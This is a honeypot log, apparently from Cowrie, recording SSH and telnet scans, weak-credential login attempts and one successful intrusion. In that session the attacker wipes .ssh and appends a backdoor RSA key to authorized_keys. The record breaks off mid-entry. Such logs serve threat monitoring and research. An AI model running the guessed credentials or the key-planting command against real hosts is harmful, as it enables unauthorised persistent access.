{"eventid":"cowrie.session.connect","src_ip":"20.82.144.240","src_port":39166,"dst_ip":"159.203.135.109","dst_port":22,"session":"288470849deb","protocol":"ssh","message":"New connection: 20.82.144.240:39166 (159.203.135.109:22) [session: 288470849deb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:06:12.382844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:06:12.387562Z","src_ip":"20.82.144.240","session":"288470849deb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:06:12.454540Z","src_ip":"20.82.144.240","session":"288470849deb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ss1234","message":"login attempt [ubuntu/P@ss1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:06:12.753591Z","src_ip":"20.82.144.240","session":"288470849deb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:06:13.824380Z","src_ip":"20.82.144.240","session":"288470849deb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":38768,"dst_ip":"10.17.0.5","dst_port":22,"session":"9758b20d48ce","protocol":"ssh","message":"New connection: 87.106.29.151:38768 (10.17.0.5:22) [session: 9758b20d48ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:06:28.885914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:06:28.891227Z","src_ip":"87.106.29.151","session":"9758b20d48ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:06:28.985335Z","src_ip":"87.106.29.151","session":"9758b20d48ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"@P@ssword1","message":"login attempt [admin/@P@ssword1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:06:29.388423Z","src_ip":"87.106.29.151","session":"9758b20d48ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:06:30.485825Z","src_ip":"87.106.29.151","session":"9758b20d48ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":51698,"dst_ip":"159.203.135.109","dst_port":22,"session":"38ec16f88e87","protocol":"ssh","message":"New connection: 193.24.211.100:51698 (159.203.135.109:22) [session: 38ec16f88e87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:06:44.692137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:06:44.705820Z","src_ip":"193.24.211.100","session":"38ec16f88e87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:06:44.827089Z","src_ip":"193.24.211.100","session":"38ec16f88e87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"naadmin","password":"naadmin","message":"login attempt [naadmin/naadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:06:45.251445Z","src_ip":"193.24.211.100","session":"38ec16f88e87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:06:46.362640Z","src_ip":"193.24.211.100","session":"38ec16f88e87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":39834,"dst_ip":"10.17.0.5","dst_port":22,"session":"e21986680bb8","protocol":"ssh","message":"New connection: 138.124.158.150:39834 (10.17.0.5:22) [session: e21986680bb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:06:59.148451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:06:59.152872Z","src_ip":"138.124.158.150","session":"e21986680bb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:06:59.335598Z","src_ip":"138.124.158.150","session":"e21986680bb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser@123","message":"login attempt [hduser/hduser@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:00.083758Z","src_ip":"138.124.158.150","session":"e21986680bb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:01.267012Z","src_ip":"138.124.158.150","session":"e21986680bb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.82.144.240","src_port":56138,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecd3f3c96ef5","protocol":"ssh","message":"New connection: 20.82.144.240:56138 (159.203.135.109:22) [session: ecd3f3c96ef5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:12.645768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:12.650700Z","src_ip":"20.82.144.240","session":"ecd3f3c96ef5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:12.721305Z","src_ip":"20.82.144.240","session":"ecd3f3c96ef5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"qwerty","message":"login attempt [mysql/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:13.023611Z","src_ip":"20.82.144.240","session":"ecd3f3c96ef5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:14.094765Z","src_ip":"20.82.144.240","session":"ecd3f3c96ef5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.83.233.129","src_port":46792,"dst_ip":"10.17.0.5","dst_port":23,"session":"57fe19e95f50","protocol":"telnet","message":"New connection: 103.83.233.129:46792 (10.17.0.5:23) [session: 57fe19e95f50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:14.784550Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":33724,"dst_ip":"10.17.0.5","dst_port":22,"session":"ace49d1e0dfa","protocol":"ssh","message":"New connection: 87.106.29.151:33724 (10.17.0.5:22) [session: ace49d1e0dfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:23.306923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:23.315442Z","src_ip":"87.106.29.151","session":"ace49d1e0dfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:23.409183Z","src_ip":"87.106.29.151","session":"ace49d1e0dfa","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"manager","message":"login attempt [oracle/manager] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:23.821398Z","src_ip":"87.106.29.151","session":"ace49d1e0dfa","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:24.049577Z","src_ip":"87.106.29.151","session":"ace49d1e0dfa","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:24.053158Z","src_ip":"87.106.29.151","session":"ace49d1e0dfa","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:24.057206Z","src_ip":"87.106.29.151","session":"ace49d1e0dfa","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:24.155012Z","src_ip":"87.106.29.151","session":"ace49d1e0dfa","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:24.374341Z","src_ip":"87.106.29.151","session":"ace49d1e0dfa","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:24.377439Z","src_ip":"87.106.29.151","session":"ace49d1e0dfa","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:24.476007Z","src_ip":"87.106.29.151","session":"ace49d1e0dfa","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:24.480027Z","src_ip":"87.106.29.151","session":"ace49d1e0dfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":33730,"dst_ip":"10.17.0.5","dst_port":22,"session":"8def0fececcc","protocol":"ssh","message":"New connection: 87.106.29.151:33730 (10.17.0.5:22) [session: 8def0fececcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:24.567378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:07:24.572861Z","src_ip":"87.106.29.151","session":"8def0fececcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes19